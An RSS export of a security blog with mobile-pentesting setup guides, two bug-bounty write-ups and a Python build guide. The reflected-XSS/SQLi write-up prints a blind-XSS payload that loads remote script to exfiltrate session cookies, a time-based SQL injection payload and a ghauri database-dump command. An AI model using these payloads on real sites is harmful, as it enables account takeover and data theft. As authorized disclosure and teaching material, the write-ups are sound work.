<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Bhuwan Bhetwal's HandBook]]></title><description><![CDATA[Bhuwan Bhetwal's HandBook]]></description><link>https://blog.bhuwanbhetwal.com.np</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 19:50:15 GMT</lastBuildDate><atom:link href="https://blog.bhuwanbhetwal.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Mobile Application Penetration Testing Setup In Linux]]></title><description><![CDATA[Download Genymotion with virtual box: https://www.genymotion.com/product-desktop/download/
Installing Genymotion1. You can see something like “genymotion-3.X.X-linux_x64.bin” in your Downloads directory.2. Open your terminal and navigate to your Down...]]></description><link>https://blog.bhuwanbhetwal.com.np/mobile-application-penetration-testing-setup-in-linux</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/mobile-application-penetration-testing-setup-in-linux</guid><category><![CDATA[Android]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[Mobile Development]]></category><category><![CDATA[Pentest]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Wed, 25 Dec 2024 06:39:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735108906097/21ff8805-7e14-48d5-900b-259e30900911.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/HeroHomepage_2880x1200.width-1300_oirLRAu.jpg" alt="A pop of color and more: updates to Android's brand" /></p>
<p>Download Genymotion with virtual box: <a target="_blank" href="https://www.genymotion.com/product-desktop/download/">https://www.genymotion.com/product-desktop/download/</a></p>
<p><strong>Installing Genymotion</strong><br /><em>1. You can see something like “genymotion-3.X.X-linux_x64.bin” in your Downloads directory.<br />2. Open your terminal and navigate to your Downloads folder: Cd Downloads<br />3. Give run permission to the Genymotion installer binary file:</em></p>
<p>$ <em>chmod +x genymotion-3.X.X-linux_x64.bin</em><br /><em>$ ./genymotion-3.X.X-linux_x64.bin -d {Genymotion_install_path}</em></p>
<p><strong>Installing Virtual Box (If you have genymotion without virtual box)</strong><br /><em>$ sudo apt install virtual box<br />$ sudo apt update &amp;&amp; sudo apt upgrade &amp;&amp; sudo reboot</em></p>
<p>Launch genymotion either by searching genymotion or by navigating to the installation path, for example you have installed it in <em>/usr/share/genymotion</em></p>
<p>So, go to<br /><em>$ cd /usr/share/genymotion<br />$ ./genymotion</em></p>
<p>Or, directly run from search bar.</p>
<p>Once the emulator is successfully running install the preferred virtual device from (+) icon on the top right side. I have installed Google Pixel with Android API (8.1 — API 27)</p>
<p>After the device is successfully installed, click on three dots on the right side and click on edit, make sure the emulator is not running. Change the Network mode to Bridge and run your emulator.</p>
<p>Try installing any apps by drag and drop method, if you get an error something like this “An error occurred while deploying the file.<br />This probably means that the app contains ARM native code and your Genymotion device cannot run ARM instructions.”<br />Just go to “<a target="_blank" href="https://github.com/m9rco/Genymotion_ARM_Translation">https://github.com/m9rco/Genymotion_ARM_Translation</a>"<br />There you can see Android version mapping. As i told you before i have installed Android 8.1<br />Check yours by launching genymotion and take a look at your virtual device Android version.</p>
<p>Just Click on yours android version mapping accordingly. For me it’s 8.0. Click on Download.<br />After successfully downloaded. Just Drag and Drop it to the Phone that is running. It will ask to flash it to the virtual device. Click OK.<br />If you want to flash it manually then you can try:<br /><em>$ adb shell<br />$ cd /sdcard/Download/<br />$ sh /system/bin/flash-archive.sh /sdcard/Download/Genymotion-ARM-Translation.zip<br />$ adb reboot</em><br />Reboot the virtual device. You can now Install apps freely.</p>
<p>What? You don’t have a Play store? Don’t worry. Just a Click ahead.</p>
<p>After the virtual device is running. Look at Your Right Side. You can see “Open GApps”. Just Click and Download it.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:628/1*LvKQGk8zzyDeGDSA9BMNzQ.png" alt /></p>
<p>Downloading Open GApps</p>
<p>Restart the virtual device. You will see your play store installed.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:623/1*lzWHIQVdXhugxWRodHu6-g.png" alt /></p>
<p>Open GApps Installed</p>
<p><strong>Genymotion with Burp suite</strong></p>
<p><em>Installing Burp Certificate in Virtual Device (Mobile Phone)</em><br />Reference from: <a target="_blank" href="https://www.youtube.com/watch?v=_O_-JQUehEY&amp;t=639s">https://www.youtube.com/watch?v=_O_-JQUehEY&amp;t=639s</a><br /><em>1. Open Burp suite &gt; Proxy &gt; Options<br />2. Click on “Import / export CA certificate”<br />3. Select the first option “Certificate in DER Format” and click Next Click on Select File.<br />4. Now navigate to the desired directory where you want to save the Certificate file.</em> Enter the certificate name in the File.</p>
<p>Make sure to save it in .der format. Click Save and click Next. The certificate is exported successful.<br />Now open your terminal and go to the same directory where the file is exported. Type the command as below:</p>
<p><em>$ openssl x509 -inform DER -in Certificate.der -out Certificate.pem<br />$ openssl x509 -inform PEM -subject_hash_old -in Certificate.pem |head -1</em></p>
<p>You will see a hash value (<em>9a5ba575.0</em>). Yours maybe different.</p>
<p>Now, rename Certificate.pem to 9a5ba575.0 by command “<em>mv Certificate.pem 9a5ba575.0</em>”</p>
<p>Now, “<em>adb push 9a5ba575.0 /sdcard</em>”</p>
<p><em>$</em> adb shell</p>
<p><em>$ mv /sdcard/9a5ba575.0 /system/etc/security/cacerts</em></p>
<p>An error message appears, which says: “Read-Only File System”. Enter the following commands:</p>
<p><em>$ exit<br />$ adb remount</em></p>
<p><em>If the remount is not working. Try this</em></p>
<p><em>$</em> adb shell</p>
<p><em>$</em> su</p>
<p><em>$</em> mount -o rw,remount /</p>
<p><em>$ mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/<br />$ chmod 644 /system/etc/security/cacerts/9a5ba575.0</em></p>
<p>Don’t forget to reset the state to ‘ro’.</p>
<p>Now, do</p>
<p><em>$</em> mount -o ro,remount /<em><br />$ reboot</em></p>
<p>You can check the installed certificate by:<br /><em>1. Go to virtual machine (mobile) settings.<br />2. Search for encryption &amp; credentials.<br />3. Click on Trusted Credentials<br />4. Scroll down to see the Portswigger certificate.</em></p>
<p><strong>Managing the Proxy.</strong></p>
<ol>
<li><p>Start the virtual device in genymotion.</p>
</li>
<li><p>Go to wifi settings. Tap and hold the wifi, Click on Modify Network</p>
</li>
<li><p>OR Open wifi settings, you can see a gear icon on right side of your connected wifi. Click on it and click on the pen icon on the top. On proxy click Manual.</p>
</li>
<li><p>Enter the IP address of your machine (The same IP that you entered on Burp suite Proxy).</p>
</li>
<li><p>Open your Burp suite &gt; Proxy &gt; Options and click on edit, select specific address and select your machine IP. Bind the port to 8080.</p>
</li>
<li><p>To check your machine IP go to terminal and enter “ifconfig”. Select the same IP on Burp Suite on the specific address. Also, Click on Request handling and click the Support invisible proxying options.</p>
</li>
</ol>
<p><strong>The easy way for Managing proxy in virtual device (Recommended)</strong></p>
<ol>
<li><p><em>Download and Install Proxy Droid on your virtual device (Mobile).</em></p>
</li>
<li><p><em>Go to</em> <a target="_blank" href="https://proxydroid.en.uptodown.com/android"><em>https://proxydroid.en.uptodown.com/android</em></a></p>
</li>
<li><p><em>Drag and drop it on your virtual device and install it.</em></p>
</li>
<li><p><em>Open Proxy Droid. Click on Host and enter you Machine IP (The same IP that you entered on Burp suite Proxy).</em></p>
</li>
<li><p><em>Click on Port and enter 8080.</em></p>
</li>
<li><p><em>Now Turn on the Proxy Droid</em></p>
</li>
</ol>
<p><strong>Setting Up Frida</strong></p>
<p>You can use pip command to install frida.</p>
<p><em>$ pip install frida-tools</em></p>
<p>Verify whether it is working or not by using the command below:</p>
<p><em>$ frida-ps</em> : It will show you the running process name and its PID.</p>
<p><strong>Some Frida Commands</strong></p>
<p><em>$ frida — version</em> : Check frida version</p>
<p><em>$ frida-ps -U</em> : View the running Process id’s and names from your device terminal</p>
<p><em>$ frida-ls-devices</em> : List all the attached devices.</p>
<p><em>$ frida-ps -D 192.168.59.101:5555</em> : This command is used to connect frida to the specific device listed from frida-ls-devices.</p>
<p><em>$ frida-ps -Uai</em> : This will list the installed applications in the device</p>
<p><em>$ frida-ps -Ua</em> : This will list all the running applications in the device.</p>
<p><em>$ frida -U -f owasp.mstg.uncrackable1 -l disableroot.js</em> : This command can help in loading external scripts (js) into the application by adding -l options with JavaScript file. Option -f is for finding the application, and then to hook it. Use “exit” command to exit the process.</p>
<p><strong>Setting up Frida on Android</strong></p>
<p>For this you need a rooted android device or rooted emulators. Let me assume that you have the rooted device ready to install frida server.</p>
<p>You will need to have ADB tool. Now, download the Frida Server for your specific android platform (arm, arm64, X86, X86_64). Just go to the official release page: <a target="_blank" href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a> . Scroll down to frida server and download the required one. For me i downloaded “<a target="_blank" href="https://github.com/frida/frida/releases/download/15.1.24/frida-server-15.1.24-android-x86.xz"><em>frida-server-15.1.24-android-x86.xz</em></a>” as my genymotion did not support x64.</p>
<p>After you have downloaded the frida server zip file, unzip and rename it to frida-server.</p>
<p>Copy the frida-server file to the android phone’s tmp directory using the following commands:</p>
<p><em>$ adb push frida-server /data/local/tmp</em></p>
<p>Now change the permission of the frida-server file</p>
<p><em>$ adb shell</em></p>
<p><em>$ chmod 755 /data/local//tmp/frida-server</em></p>
<p><em>$ /data/local/tmp/frida-server &amp;</em></p>
<p>Now, remember that every time, you will need to run the frida-server to connect with the Linux terminal. Now, connect the virtual device and confirm it by checking for available devices.</p>
<p><em>$ adb devices</em></p>
<p>If you are not connected to the device. Connect it by:</p>
<p><em>$ adb connect IP:5555</em></p>
<p>To disconnect the device:</p>
<p><em>$ adb disconnect</em></p>
<p>Now after connecting the device and everything is ready. From Linux terminal, we can connect frida-server by following command:</p>
<p><em>$ frida-ps -U</em></p>
<p>If everything’s good, the above command will give you the running process id’s and names from your device. Now, you are good to go with frida.</p>
<p><strong>Setting up MobSF (If you are facing errors, else jump to direct installation via mobsf git repo)</strong></p>
<p>To Install MobSF you will need some other few requirements.</p>
<ul>
<li><p>Install Git <code>sudo apt-get install git</code></p>
</li>
<li><p>Install Python 3.8+ <code>sudo apt-get install python3.8</code></p>
</li>
<li><p>Install JDK 8+ <code>sudo apt-get install openjdk-8-jdk</code></p>
</li>
<li><p>Install pip and Virtual Environment: <code>sudo apt install python3-pip &amp;&amp; sudo apt install python3.9-venv</code></p>
</li>
<li><p>Install the following dependencies :<code>sudo apt install python3-dev python3-venv python3-pip build-essential libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf</code></p>
</li>
</ul>
<p>If you get error while installing <code>libjpeg8-dev</code> dependency. Install another version of it called <code>libjpeg62-turbo-dev</code> with the command below:</p>
<p><code>sudo apt install libjpeg62-turbo-dev</code></p>
<p>If you like to generate PDF documents of the MobSF report then install wkhtmltopdf too: <code>sudo apt install wkhtmltopdf</code></p>
<p><strong>Steps to Install MobSF from GitHub:</strong></p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
</code></pre>
<p><code>cd Mobile-Security-Framework-MobSF</code></p>
<p><code>./setup.sh</code></p>
<p><strong>Running MobSF:</strong></p>
<p><code>./run.sh</code> It will start a server in localhost:8000, you can browse it your preferred browser.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/0*dkSq6G2djykswFZn.png" alt /></p>
<p>after running ./run.sh</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*tf7MTQyPbflLWL6m1R50fg.png" alt /></p>
<p>MobSF local host Homepage</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*0mk0YGnd97CADQp8iuWM5Q.png" alt /></p>
<p>MobSF process in terminal</p>
<p>To Update MobSF:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> Mobile-Security-Framework-MobSF/
git pull origin master
. venv/bin/activate
pip install --no-cache-dir --use-deprecated=legacy-resolver -r requirements.txt
python manage.py makemigrations
python manage.py makemigrations StaticAnalyzer
python manage.py migrate
deactivate
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:700/0*bZwLGfSy3eGWsv3U.png" alt /></p>
<p>MobSF Update</p>
<p>If you are performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won’t be able to fix them from the GUI. You can fix the proxy settings by doing:</p>
<p>$ adb shell settings put global http_proxy :0</p>
<p>OK, so you maybe wondering how do i get the legit apk file for MobSF. If you want the apk file directly from the play store, follow the steps:</p>
<ol>
<li><p>Install an app from Playstore, for example: spiderman.apk</p>
</li>
<li><p>After the app is successfully installed, open your Linux terminal and give command:</p>
</li>
</ol>
<blockquote>
<p>$ adb shell pm list packages | grep “spiderman”<br /><em>The package name appears on your terminal. for example:</em> <code>com.mcu.spiderman</code><br />$ adb shell pm path com.mcu.spiderman<em><br />Now pull the base.apk with its absolute path  
</em>$ adb pull /data/app/../base.apk</p>
</blockquote>
<p><strong>Intercepting Traffic in IOS:</strong></p>
<p><strong>Refer to:</strong> <a target="_blank" href="https://bhattsameer.github.io/2021/06/23/Intercepting-flutter-iOS-application.html">https://bhattsameer.github.io/2021/06/23/Intercepting-flutter-iOS-application.html</a></p>
<p><strong>Proper Android Penetration Testing Checklist :</strong> <a target="_blank" href="https://github.com/nirajkharel/NotJustAChecklist/blob/main/Android.md">https://github.com/nirajkharel/NotJustAChecklist/blob/main/Android.md</a></p>
]]></content:encoded></item><item><title><![CDATA[Connecting android/emulator to your Burp suite via OpenVPN]]></title><description><![CDATA[This is a simple blog for connecting the Genymotion and the Burpsuite for Android Pentesing using OpenVPN.
I use Genymotion (Google Pixel 3 — Android Version 9) and Kali Linux
Let’s start the configuration.

Make sure you save this two scripts. Githu...]]></description><link>https://blog.bhuwanbhetwal.com.np/connecting-androidemulator-to-your-burp-suite-via-openvpn</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/connecting-androidemulator-to-your-burp-suite-via-openvpn</guid><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[OpenVPN]]></category><category><![CDATA[Android]]></category><category><![CDATA[Android Emulator]]></category><category><![CDATA[emulators]]></category><category><![CDATA[bug bounty]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Sat, 16 Nov 2024 17:25:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735109000833/db3965f5-3e45-4871-9a08-598182b1a527.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a simple blog for connecting the Genymotion and the Burpsuite for Android Pentesing using OpenVPN.</p>
<p>I use Genymotion (Google Pixel 3 — Android Version 9) and Kali Linux</p>
<p>Let’s start the configuration.</p>
<ol>
<li><p>Make sure you save this two scripts.<br /> <a target="_blank" href="https://github.com/ya3raj/openvpn">Github</a></p>
</li>
<li><p>Now, on your machine type <code>ifconfig</code> and copy the IP of your machine.</p>
</li>
<li><p>Now <code>sudo chmod +x *.sh</code> and run <code>./install.sh</code></p>
</li>
<li><p>If you’ve previously installed the OpenVPN, uninstall it by selecting the option 3 </p>
</li>
</ol>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Z2AMkMO5f3v_-3Ng8UrtKQ.png" alt /></p>
<p>Else, just run <code>./install.sh</code> and enter the IP copied in Step 2</p>
<p>Then Press Enter button till you reach to enter the name. Enter the name of the file you want to create. Here i have named it test.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*85wBp2pcNUj09GNVUjpp6w.png" alt /></p>
<p>The file will be saved in <code>/root</code> directory. So, you may want to copy it to your present work directory just run <code>sudo cp /root/test.ovpn</code> .</p>
<p>Now, run <code>./route.sh</code> script to route the traffic.</p>
<p>Now, you have to transfer that file to your android emulator. You can use python server or drag and drop.</p>
<p>Now, Open BurpSuite and Go to Proxy Settings.</p>
<p>Click on Specific Address and select the OpenVPN IP.</p>
<p>Now, You will receive your traffic from the android/emulator.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*jW7sdh3mhk7v2wNHQSSQhw.png" alt /></p>
<p>Now, Install OpenVPN from Play store in your android/emulator and import the test.ovpn file which was created before and turn on the OpenVPN.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*lKg9Yc3LcWeUlPKuXIohBA.png" alt /></p>
<p>That’s All. Happy Hacking. Let me know if you face any issues.</p>
]]></content:encoded></item><item><title><![CDATA[CSRF + POST Body Param Reflection = POST-Based XSS (A BrainFuck)]]></title><description><![CDATA[Hello again,  
This blog explains how i chained a CSRF and XSS on a POST request. So, lets get straight into it. One day i was hunting on a private program and i could see most of hacker’s were reporting CSRF. Almost 5 reports out of 10 were them. Lo...]]></description><link>https://blog.bhuwanbhetwal.com.np/csrf-post-body-param-reflection-post-based-xss-a-brainfuck</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/csrf-post-body-param-reflection-post-based-xss-a-brainfuck</guid><category><![CDATA[XSS]]></category><category><![CDATA[csrf]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[KNOXSS]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Fri, 08 Nov 2024 20:49:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735109460880/709ba48a-6fb8-47bf-8cd2-378bf9d15a7a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello again,  </p>
<p>This blog explains how i chained a CSRF and XSS on a POST request. So, lets get straight into it. One day i was hunting on a private program and i could see most of hacker’s were reporting CSRF. Almost 5 reports out of 10 were them. Lot’s of CSRF right?. Let’s name the scope <code>https://brainfuck.com</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731095048390/4c0f1732-3b3f-4355-a02e-066082a8eeed.png" alt class="image--center mx-auto" /></p>
<p>I wouldn’t waste time looking for more CSRF as the chance of getting a duplicate is high. So, i started looking for OAuth Misconfiguration. Then, i saw that my reflector plugin identified a reflection in a POST parameter. The POST request was being made on <code>/address</code> and the reflected parameter was <code>thelia_front_address_create[success_url]</code> . So, i tried looking for XSS manually. Wasted almost 2 hours, started my KNOXSS API took a break and came back. Finally KNOXSS found a bypass payload (Can’t share you the payload but you can check yourself at <a target="_blank" href="https://knoxss.me">https://knoxss.me</a> )</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731096136591/5424e779-417f-4024-9dbe-2af22d7367d7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731095969102/6d6f7493-b98b-4aeb-8892-d837c54e40a6.png" alt class="image--center mx-auto" /></p>
<p>So, this payload finally pops an XSS. But, this is a self XSS (Out Of Scope). Now, do you remember i told a lot of CSRF were being reported? So, i checked and yes the POST request was vulnerable to CSRF attack. You could basically create address and set that address as the primary using a simple CSRF request. So, i started working on the exploit to chain this two bugs. First. i created a HTML form (POST based Request with the XSS payload on the vulnerable field) and hosted in my server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731096431113/fa344b92-5771-4f60-807e-e7b7ee17406d.png" alt class="image--center mx-auto" /></p>
<p>Now, when the victim visit my page <code>https://attacker.com/csrf.html</code> he/she will be redirected to <code>https://brainfuck.com/address</code> (The scope i was testing) and the XSS will be executed. Now, i did some tweaks on the payload and combined it with blind xss. But, for some reason i was not getting the <code>PHPSESSID</code>. Man, i could have achieved an account takeover. Upon further investing the whole thing. I noticed the <code>samesite=lax; httponly</code> in the cookie header. I was so close to a high severity Bug. So, what restricted me from account takeover?</p>
<ul>
<li><p><code>SameSite=Lax</code>: This attribute restricts the cookie from being sent with cross-site requests unless they are top-level navigation (e.g., clicking a link). However, it doesn’t block cookies from being sent for requests originating from the same site.</p>
</li>
<li><p><code>HttpOnly</code>: This attribute makes the cookie inaccessible to JavaScript through <code>document.cookie</code>, which means you cannot directly access it in client-side JavaScript code. This prevents you from stealing cookies via typical JavaScript methods like <code>document.cookie</code>.</p>
</li>
</ul>
<p>Also, the site had no such features where all the users could interact with each other, such as comments or else i would have used that bypass payload for stored XSS to account takeover. Anyways, even the XSS was limited. I wrote a report and submitted to the team. I had already spent a lot of time in this bug. Also, i was not sure if this will be accepted as i told you earlier, lots of CSRF. Now, begins the real BRAINFUCK. This is what i got reply from the triager.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731097501939/407e20ae-c54e-4951-8630-3a503cd5f325.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731098243216/525fe25b-bbdd-41e2-b05d-bac27a8eb986.png" alt class="image--center mx-auto" /></p>
<p>I was like, What the <strong>FUCK</strong>?</p>
<p><img src="https://media.tenor.com/1jNr3cMphpoAAAAM/long.gif" alt="Years Later GIFs | Tenor" class="image--center mx-auto" /></p>
<p>Then, i investigated the whole thing again from the beginning. Then, i came to know i missed the most important and weirdest thing in my HTML form. The application logic was something like this:  </p>
<p>The <strong>initial login decision</strong> (whether "Remember Me" is selected).</p>
<ul>
<li><p><strong>Error handling paths</strong>: If an error occurs, the application will either:</p>
<ul>
<li><p>Redirect to the same page if "Remember Me" is selected.</p>
</li>
<li><p>Log out the user and redirect to the login page if "Remember Me" is not selected.</p>
</li>
</ul>
</li>
</ul>
<p>It took me exactly an hour to identify this logic. I updated the team with further info.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731098141871/4c72cbb3-a6c6-4a71-bc1e-1ec578883b4a.png" alt class="image--center mx-auto" /></p>
<p>Finally, the team reopened the report.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731098383738/530e8c8e-480e-4144-937e-2532b590bb67.png" alt class="image--center mx-auto" /></p>
<p>This, time they were able to reproduce the the POC and it was accepted and rewarded accordingly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731098458470/0791b9ed-136c-4c64-9652-9ef539a28ff6.png" alt class="image--center mx-auto" /></p>
<p>This is all for today. May the Pop Up be with You. :)  </p>
<p>I would love to hear your thoughts on this. Maybe we can connect on <a target="_blank" href="https://x.com/yamarajislitaf">X (Twitter)</a></p>
]]></content:encoded></item><item><title><![CDATA[Breaking In: How RXSS and SQLi Can Lead to Full Account Takeover and Database Access]]></title><description><![CDATA[These vulnerabilities were Identified on one of the YesWeHack’s Private Program. I was hunting late night when i received an invitation from one of the Private Program. As they Were Interested on critical reports. I was looking for SQLi, Command Exec...]]></description><link>https://blog.bhuwanbhetwal.com.np/breaking-in-how-rxss-and-sqli-can-lead-to-full-account-takeover-and-database-access</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/breaking-in-how-rxss-and-sqli-can-lead-to-full-account-takeover-and-database-access</guid><category><![CDATA[SQL]]></category><category><![CDATA[#sqlinjection]]></category><category><![CDATA[XSS]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[vulnerability]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Thu, 07 Nov 2024 06:31:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735109856879/e5057ea4-c772-4f40-9c26-7375f834a5ff.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>These vulnerabilities were Identified on one of the YesWeHack’s Private Program. I was hunting late night when i received an invitation from one of the Private Program. As they Were Interested on critical reports. I was looking for SQLi, Command Execution, File Uploads and Account Takeover Issues.</p>
<p><strong>Account Takeover via RXSS</strong></p>
<p>I setup my <em>BurpSuite</em> and started navigating the program. It was a french site so i had to use translator. Then, I created an account and went through all the functionalities as a user. I then checked my Burp Traffic and noticed the response contained lots of forms. I had already gathered the technologies the site used via <em>Wappalyzer</em>. The Site was developed on PHP and the database was MySQL as per <em>Wappalyzer</em>. I started checking every parameters which allowed special characters using a simple Burp extension called <em>Reflector</em>. Basically the extension checks if the parameters are reflected and which symbols are allowed in this reflection. Finally, there was an option to create address, you could basically add multiple addresses and select those accordingly. So, While creating the address it sent a get request to <code>/address/create</code> . As, i said i was looking for parameters (was running Arjun on loop passing the cookies as header) Arjun found <code>next</code> parameter on the path <code>/address/create</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730959340735/0fa2aaa2-1a72-4d99-87fe-89d55d104048.png" alt class="image--center mx-auto" /></p>
<p>When i opened the URL with the param in my browser, the reflector extension showed me something like this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730958262623/6493c4e6-0cb6-4d98-b8bb-9f6785b5a818.png" alt class="image--center mx-auto" /></p>
<p>Awesome, the param looks suspicious as the special characters are not filtered. I quickly tried a simple xss payload but it was not working. Then i used Knoxnl which was integrated via PIPER extension by using Knoxnl (It’s a wrapper for KNOXSS API)</p>
<p><img src="https://miro.medium.com/v2/resize:fit:673/1*KiYYXK0NqO-znqY4Ws76NA.png" alt class="image--center mx-auto" /></p>
<p>Had to wait a little till the XSS is Successful/Unsuccessfull. And finally Got the payload and tried manually.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730962106537/e0d6bc47-d7ac-4d95-946c-2593c2688586.png" alt class="image--center mx-auto" /></p>
<p>Now, time to escalate it to Account Takeover which was easy. I simply added my KNOXSS blind xss payload (<code>ya3raj"&gt;&lt;Script /Src=</code><a target="_blank" href="https://X55.is?1=14833"><code>https://X55.is?1=14833</code></a><code>&gt;</code>) and exfiltrated the victim’s session cookies.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730959617595/4b3ddc6d-5e09-4d37-b3e6-ccbda85a49b6.png" alt class="image--center mx-auto" /></p>
<p><strong>Time for SQLi</strong></p>
<p>Same Platform. On Looking Further. On Visiting My Profile Section. The application sent a POST request to <code>/account/my_fund_jars_front/data</code> where there were a bunch of post parameters. Few parameters caught my eye, they were taking integer as input. I mostly look SQLi’s on parameters that take numbers as input. So, i tried adding a quotation (‘) one by one on all the parameters that took numbers as input. And, on the <code>length</code> parameter the server threw a 500 error response which was suspicious. So i tried with double quotation (‘‘) and the server gave the response with code 200. Then, i tried time based payloads and got the response accordingly. The payload was <code>;(SELECT(1)FROM(SELECT(SLEEP(5)))a)--</code> Time to dump the database name for POC. I saved the POST request in a text file and gave the ghauri command <code>ghauri -r sql.txt --batch --dbs --technique=BT</code> and successfully dumped the database name.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730960762424/498f1ab4-d6ef-4971-99be-9fd35c4a618d.png" alt class="image--center mx-auto" /></p>
<p>Both of the Reports got Accepted as High(8.2) and Critical(10).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730960893227/06c9cf8f-6370-41fd-a3c3-8b111a8e2c86.png" alt class="image--center mx-auto" /></p>
<p>That’s all Guys. Thanks for reading to the end. May the Popup and 500 error be with you. Happy Hunting.</p>
]]></content:encoded></item><item><title><![CDATA[Get your python 3.11.9 back on Linux]]></title><description><![CDATA[First of all, Select the required python version (Example: 3.11.9)
https://www.python.org/ftp/python/3.11.9/
Now, Install all the required dependencies to compile and install Python 3.11.9
sudo apt install build-essential zlib1g-dev libncurses5-dev l...]]></description><link>https://blog.bhuwanbhetwal.com.np/get-your-python-3119-back-on-linux</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/get-your-python-3119-back-on-linux</guid><category><![CDATA[Python]]></category><category><![CDATA[Python 3]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Thu, 07 Nov 2024 04:56:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735109575310/787c650a-3a39-45e5-953d-fd29deced0f2.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>First of all, Select the required python version (Example: 3.11.9)</p>
<p><a target="_blank" href="https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tar.xz">https://www.python.org/ftp/python/3.11.9/</a></p>
<p>Now, Install all the required dependencies to compile and install Python 3.11.9</p>
<pre><code class="lang-bash">sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev
</code></pre>
<p>Download and extract 3.11.9 by using wget command.</p>
<pre><code class="lang-bash">wget https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tar.xz
</code></pre>
<p>Extract it</p>
<pre><code class="lang-bash">tar -xf Python-3.11.9.tgz
</code></pre>
<p>Configure the build with optimization flags:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> Python-3.11.9 &amp;&amp; ./configure --enable-optimizations
</code></pre>
<p>Build Python using multiple processors to speed up the process and Install Python 3.11.9 on your system:</p>
<pre><code class="lang-bash">make -j$(nproc) &amp;&amp; sudo make altinstall
</code></pre>
<p>Check if the python version 3.11 is installed</p>
<pre><code class="lang-bash">python3.11 --version
</code></pre>
<p>Set Python 3.11 as the Default To conveniently access Python 3.11 using below command</p>
<pre><code class="lang-bash">nano ~/.zshrc
</code></pre>
<p>Add the following line at the end of the .zshrc file and save it.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">alias</span> python3=<span class="hljs-string">'/usr/local/bin/python3.11'</span>
</code></pre>
<p>Also refresh the .zshrc via source comand</p>
<pre><code class="lang-bash"><span class="hljs-built_in">source</span> ~/.zshrc
</code></pre>
<p>Verify the Default Python Version Check the Python version using the <code>python3</code> command:</p>
<pre><code class="lang-bash">python3 --version
</code></pre>
